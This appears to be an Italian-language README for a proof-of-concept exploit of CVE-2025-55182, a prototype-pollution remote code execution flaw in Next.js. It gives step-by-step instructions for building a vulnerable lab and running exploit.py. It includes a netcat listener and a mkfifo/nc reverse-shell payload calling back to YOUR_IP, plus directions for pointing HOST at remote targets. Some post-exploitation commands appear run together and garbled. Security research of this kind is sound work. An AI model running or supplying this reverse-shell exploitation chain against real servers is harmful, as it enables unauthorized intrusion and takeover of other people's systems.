
Proof-of-concept exploit per CVE-2025-55182 che dimostra l'esecuzione remota di codice in Next.js tramite prototype pollution. Include un laboratorio vulnerabile preconfigurato per test autorizzati e generazione di reverse shell.
Un proof-of-concept che dimostra una vulnerabilità di esecuzione remota di codice nelle applicazioni Next.js attraverso la prototype pollution nella pipeline di rendering dei componenti server di React.
Questo strumento è destinato esclusivamente a scopi educativi e a test autorizzati. L'uso non autorizzato contro sistemi che non possiedi o per i quali non hai il permesso di testare è illegale.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
Nota: Il laboratorio preconfigurato include già il codice vulnerabile necessario. Se crei il progetto da zero, dovrai aggiungere manualmente i componenti vulnerabili.
cd react2shell-lab
npm install
Nel terminale 1:
npm run dev
Il server dovrebbe avviarsi su http://localhost:3000
Il repository include un file exploit.py che dimostra la vulnerabilità. Modifica la variabile COMMAND nel file con il comando desiderato:
COMMAND = 'whoami' # Change this to any command you want to execute
Esegui l'exploit:
python3 exploit.py
Configura un listener netcat in un nuovo terminale:
nc -nvlp 4444
Modifica exploit.py e aggiorna il comando con il tuo payload di reverse shell:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
Sostituisci YOUR_IP con l'indirizzo IP della tua macchina locale.
Esegui l'exploit:
python3 exploit.py
Modifica la variabile HOST nello script di exploit per scegliere come target server remoti:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig o ip aQuesto progetto è concesso in licenza sotto la MIT License - vedi il file LICENSE per i dettagli.
Questa versione richiede l'input dell'utente per IP e porte di target remoto e dell'attaccante. Anche il corpo del post (body_parts) è leggermente ridotto in questa versione.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained